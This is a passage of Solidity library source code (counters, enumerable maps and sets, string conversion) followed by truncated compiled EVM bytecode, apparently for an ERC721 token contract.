underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80636c0360eb116100c3578063a22cb4651161007c578063a22cb46514610735578063b88d4fde14610785578063bd2c155e1461088a578063c87b56dd146108ce578063e985e9c514610975578063f2fde38b146109ef57610158565b80636c0360eb1461056557806370a08231146105e8578063715018a6146106405780638da5cb5b1461064a57806395d89b411461067e5780639eab86551461070157610158565b806323b872dd1161011557806323b872dd1461035f5780632f745c59146103cd57806330be2cef1461042f57806342842e0e1461045d5780634f6ccce7146104cb5780636352211e1461050d57610158565b806301ffc9a71461015d57806306fdde03146101c0578063081812fc14610243578063095ea7b31461029b57806318160ddd146102e95780631ce369a414610307575b600080fd5b6101a86004803603602081101561017357600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610a33565b60405180821515815260200191505060405180910390f35b6101c8610a9a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102085780820151818401526020810190506101ed565b50505050905090810190601f1680156102355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61026f6004803603602081101561025957600080fd5b8101908080359060200190929190505050610b3c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102e7600480360360408110156102b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b005b6102f1610d1b565b6040518082815260200191505060405180910390f35b6103496004803603602081101561031d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d2c565b6040518082815260200191505060405180910390f35b6103cb6004803603606081101561037557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e08565b005b610419600480360360408110156103e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e7e565b6040518082815260200191505060405180910390f35b61045b6004803603602081101561044557600080fd5b8101908080359060200190929190505050610ed9565b005b6104c96004803603606081101561047357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f94565b005b6104f7600480360360208110156104e157600080fd5b8101908080359060200190929190505050610fb4565b6040518082815260200191505060405180910390f35b6105396004803603602081101561052357600080fd5b8101908080359060200190929190505050610fd7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61056d61100e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ad578082015181840152602081019050610592565b50505050905090810190601f1680156105da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61062a600480360360208110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110b0565b6040518082815260200191505060405180910390f35b610648611185565b005b6106526112f5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61068661131f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106c65780820151818401526020810190506106ab565b50505050905090810190601f1680156106f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107096113c1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107836004803603604081101561074b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506113e7565b005b6108886004803603608081101561079b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561080257600080fd5b82018360208201111561081457600080fd5b8035906020019184600183028401116401000000008311171561083657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061159d565b005b6108cc600480360360208110156108a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611615565b005b6108fa600480360360208110156108e457600080fd5b8101908080359060200190929190505050611711565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561093a57808201518184015260208101905061091f565b50505050905090810190601f1680156109675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109d76004803603604081101561098b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119e2565b60405180821515815260200191505060405180910390f35b610a3160048036036020811015610a0557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a76565b005b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b325780601f10610b0757610100808354040283529160200191610b32565b820191906000526020600020905b815481529060010190602001808311610b1557829003601f168201915b5050505050905090565b6000610b4782611c6b565b610b9c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806134cd602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610be282610fd7565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806135516021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c88611c88565b73ffffffffffffffffffffffffffffffffffffffff161480610cb75750610cb681610cb1611c88565b6119e2565b5b610d0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806134206038913960400191505060405180910390fd5b610d168383611c90565b505050565b6000610d276002611d49565b905090565b6000610d36611c88565b73ffffffffffffffffffffffffffffffffffffffff16610d546112f5565b73ffffffffffffffffffffffffffffffffffffffff1614610ddd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610de7600b611d5e565b6000610df3600b611d74565b9050610dff8382611d82565b80915050919050565b610e19610e13611c88565b82611f76565b610e6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806135726031913960400191505060405180910390fd5b610e7983838361206a565b505050565b6000610ed182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206122ad90919063ffffffff16565b905092915050565b610ee1611c88565b73ffffffffffffffffffffffffffffffffffffffff16610eff6112f5565b73ffffffffffffffffffffffffffffffffffffffff1614610f88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f91816122c7565b50565b610faf8383836040518060200160405280600081525061159d565b505050565b600080610fcb83600261240190919063ffffffff16565b50905080915050919050565b60006110078260405180606001604052806029815260200161348260299139600261242d9092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a65780601f1061107b576101008083540402835291602001916110a6565b820191906000526020600020905b81548152906001019060200180831161108957829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613458602a913960400191505060405180910390fd5b61117e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061244c565b9050919050565b61118d611c88565b73ffffffffffffffffffffffffffffffffffffffff166111ab6112f5565b73ffffffffffffffffffffffffffffffffffffffff1614611234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113b75780601f1061138c576101008083540402835291602001916113b7565b820191906000526020600020905b81548152906001019060200180831161139a57829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113ef611c88565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611490576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b806005600061149d611c88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661154a611c88565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b6115ae6115a8611c88565b83611f76565b611603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806135726031913960400191505060405180910390fd5b61160f84848484612461565b50505050565b61161d611c88565b73ffffffffffffffffffffffffffffffffffffffff1661163b6112f5565b73ffffffffffffffffffffffffffffffffffffffff16146116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061170e81611a76565b50565b606061171c82611c6b565b611771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613522602f913960400191505060405180910390fd5b6060600860008481526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561181a5780601f106117ef5761010080835404028352916020019161181a565b820191906000526020600020905b8154815290600101906020018083116117fd57829003601f168201915b50505050509050606061182b61100e565b90506000815114156118415781925050506119dd565b6000825111156119125780826040516020018083805190602001908083835b602083106118835780518252602082019150602081019050602083039250611860565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106118d457805182526020820191506020810190506020830392506118b1565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050506119dd565b8061191c856124d3565b6040516020018083805190602001908083835b60208310611952578051825260208201915060208101905060208303925061192f565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106119a35780518252602082019150602081019050602083039250611980565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050505b919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611a7e611c88565b73ffffffffffffffffffffffffffffffffffffffff16611a9c6112f5565b73ffffffffffffffffffffffffffffffffffffffff1614611b25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806133846026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611c8182600261261a90919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611d0383610fd7565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611d5782600001612634565b9050919050565b6001816000016000828254019250508190555050565b600081600001549050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b611e2e81611c6b565b15611ea1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b611ead60008383612645565b611efe81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206127d890919063ffffffff16565b50611f15818360026127f29092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000611f8182611c6b565b611fd6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806133f4602c913960400191505060405180910390fd5b6000611fe183610fd7565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061205057508373ffffffffffffffffffffffffffffffffffffffff1661203884610b3c565b73ffffffffffffffffffffffffffffffffffffffff16145b80612061575061206081856119e2565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661208a82610fd7565b73ffffffffffffffffffffffffffffffffffffffff16146120f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806134f96029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561217c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133aa6024913960400191505060405180910390fd5b612187838383612645565b612192600082611c90565b6121e381600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061282790919063ffffffff16565b5061223581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206127d890919063ffffffff16565b5061224c818360026127f29092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006122bc8360000183612841565b60001c905092915050565b60006122d282610fd7565b90506122e081600084612645565b6122eb600083611c90565b6000600860008481526020019081526020016000208054600181600116156101000203166002900490501461233a5760086000838152602001908152602001600020600061233991906132ca565b5b61238b82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061282790919063ffffffff16565b506123a08260026128c490919063ffffffff16565b5081600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b60008060008061241486600001866128de565b915091508160001c8160001c9350935050509250929050565b6000612440846000018460001b84612977565b60001c90509392505050565b600061245a82600001612a6d565b9050919050565b61246c84848461206a565b61247884848484612a7e565b6124cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806133526032913960400191505060405180910390fd5b50505050565b6060600082141561251b576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612615565b600082905060005b60008214612545578080600101915050600a828161253d57fe5b049150612523565b60608167ffffffffffffffff8111801561255e57600080fd5b506040519080825280601f01601f1916602001820160405280156125915781602001600182028036833780820191505090505b50905060006001830390508593505b6000841461260d57600a84816125b257fe5b0660300160f81b828280600190039350815181106125cc57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a848161260557fe5b0493506125a0565b819450505050505b919050565b600061262c836000018360001b612c97565b905092915050565b600081600001805490509050919050565b600c60009054906101000a900473f